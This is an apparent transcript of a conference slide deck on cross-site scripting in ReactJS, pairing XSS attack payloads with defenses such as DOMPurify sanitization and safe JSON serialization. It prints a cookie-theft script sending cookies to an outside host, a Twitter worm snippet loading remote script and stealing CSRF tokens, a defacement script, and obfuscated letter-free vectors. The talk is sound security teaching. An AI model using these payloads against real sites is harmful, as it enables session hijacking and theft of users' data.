530 likes | 549 Views
Learn about XSS attacks in ReactJS, security tips from Java Champion Jim Manicode. Explore different XSS attack payloads and defense techniques. Warning against unauthorized hacking activities.
E N D
A little background dirt… • jim@manicode.com • @Manicode • Java Champion • Project manager of theOWASP Cheat Sheet Series andseveral other OWASP projects • 20+ years of softwaredevelopment experience • Author of "Iron-Clad Java,Building Secure Web Applications”from McGraw-Hill/Oracle-Press • Former Kauai, Hawaii Resident
WARNING: Please do not attempt to hack anycomputer system without legal permission to do so.Unauthorized computer hacking is illegal and canbe punishable by a range of penalties includingloss of job, monetary fines and possible imprisonment. ALSO: The Free and Open Source Software presented in these materials are examples of good secure development techniques. You may have unknown legal, licensing or technical issues when making use of Free and Open Source Software. You should consult your company's policy on the use of Free and Open Source Software before making use of any software referenced in this material.
Reflected XSS 1 • Cookie is stolen. Hacker can hijack the Victim’s session. • Hacker sends link to victim. Link contains XSS payload. 4 2 • Victim views page via XSS link supplied by Hacker. 3 • XSS code executes on Victim’s browser and sends cookieto evil server.
Persistent/Stored XSS 4 1 2 3
X X X X X X X XSS Attack Payloads O O O O O O
XSS Attack: Cookie Theft <script> varbadURL='https://manicode.com?data=' + uriEncode(document.cookie); new Image().src = badURL; </script> HTTPOnly could prevent this!
Stored XSS: Same Site Request Forgery var ajaxConn = new XHConn(); ajaxConn.connect("https://corp.cooollwebmailsystem.com?dest=boss@work.us&subj=YouAreAJerk","GET"); HTTPOnly nor SameSite nor Token Binding cookies would prevent this!
XSS Undermining CSRF Defense (Twitter 2010) • var content = document.documentElement.innerHTML; • authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g); • varauthtoken = authreg.exec(content);authtoken = authtoken[1]; • //alert(authtoken); • varxss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); • varajaxConn = new XHConn();ajaxConn.connect("/status/update","POST", • "authenticity_token=" + authtoken+"&status=" + updateEncode + "&tab=home&update=update"); • var ajaxConn1 = new XHConn(); • ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+ authtoken+"&user[url]="+xss+"&tab=home&update=update");
XSS Attack: Virtual Site Defacement • <script> • varbadteam = "The Trailblazers"; • varawesometeam = "Any other team "; • var data = ""; • for (vari = 0; i < 100; i++) { • data += "<marquee><b>"; • for (var y = 0; y < 8; y++) { • if (Math.random() > .6) { • data += badteam ; • data += " shoot worse than my mom! "; • } else { • data += awesometeam; • data += " is obviously totally awesome! "; • } • } • data += "</h1></marquee>";} • document.body.innerHTML=(data + ""); • </script>
XSS With No Letters!https://inventropy.us/blog/constructing-an-xss-vector-using-no-letters • ""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(3)")()
alert(1) With No Letters or Numbers!https://www.jsf**k.com/ • [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
What does it take to build secure React apps? • Validation • Sanitization • Escaping
React developers who have learned to master this material are UI Heroes
Auto Escaping with JSX The third argument to React.createElement will auto-escape!
Bypassing Auto Escaping (JSX) varlinkToUser = "http://www.facebook.com/example" <a href={linktoUser}>Visit User’s Facebook Page</a> "javascript:alert('xss')";
props, Auto Escaping with JSX payload is not escaped!
Attacker controlled CSS CSS Keystroke Logger
Defending against attacker controlled CSS CSS.escape
What is HTML sanitation? • HTML sanitization takes markup as input, outputs "safe" markup • Different from encoding • URLEncoding, HTMLEncoding, will not help you here! • HTML sanitization is everywhere Web Forum Posts w/Markup Advertisements Outlook.com JavaScript-based Windows 8 Store Apps TinyMCE/CKEditor Widgets
This example displays all plugins and buttons that come with the TinyMCE package. Source output from post
Rendering User-Driven HTML Example Auto-Escaping bypass • Auto-escaped raw HTML just looks like HTML on screen • dangerouslySetInnerHTML disables autoescaping (which is dangerous) • Consider sanitizing untrusted HTML
Use DOMPurify to Sanitize Untrusted HTMLClient Side Sanitization • https://github.com/cure53/DOMPurify • DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. • DOMPurify works with a secure default, but offers a lot of configurability and hooks. • Very simply to use • Demo:https://cure53.de/purify • <div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(“<script>alert(‘xss!’);</script>“)}} />
DOMPurify.sanitize BAD <div dangerouslySetInnerHTML={{__html: "<script>alert('xss!');</script>}"} /> GOOD <div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize("<script>alert('xss!');</script>")}} />
Pre-Fetching Data to Render in ReactJS • A popular performance pattern is to embed preload JSON to save a round trip. • window.__INITIAL_STATE__ • window.__PRELOADED_STATE__ • JSON.stringify(state) is commonly cited in documents as the answer. • DON'T DO THIS! IT WILL LEAD TO XSS!
Dangerously Pre-Fetching Data in React <script> window.__INITIAL_STATE = <%= JSON.stringify(initialState) %> </script> If the initialState object contains any string with </script> in it, that will escape out of your script tag and start appending everything after it as HTML code. <script>{{</script><script>alert(‘XSS’)}}</script>
Pre-Fetching Data to Render in ReactJS Safely Serialize embedded JSON with a safe serialization engine Node: https://github.com/yahoo/serialize-javascript Example: <script>window.__INITIAL_STATE = <%= serialize(initialState) %></script>
https://github.com/yahoo/serialize-javascript • Serialized code to a string of literal JavaScript which can be embedded in an HTML document by adding it as the contents of the <script> element. • serialize({ haxorXSS: '</script>' }); • The above will produce the following string, HTML-escaped output which is safe to put into an HTML document: • '{"haxorXSS":"\\u003C\\u002Fscript\\u003E"}
Third Party ReactJS Components • Third party components typically do not come with any security guarantee • Always do a security audit of third party components before putting them into your application • Just because a component has lots of stars on GitHub doesn’t mean anyone has done a proper security audit • Use automation to verify JS and other dependencies are updated and not vulnerable
JavaScript 3rd Party Management Tools • Retire.js (JavaScript 3rd party library analysis) • https://retirejs.github.io/retire.js/ • Scan your project for vulnerabilites • https://docs.npmjs.com/cli/audit • NodeSource Trusted Modules • https://nodesource.com/products/certified-modules
React prior to v0.14 • All applications should endeavor to use the latest version of React. • There was a flaw in all of the React versions prior to 0.14 that left applications opened to a XSS vulnerability under certain circumstances. • If there is a reason why you can't upgrade to 0.14, you can still manually protect yourself from this vulnerability.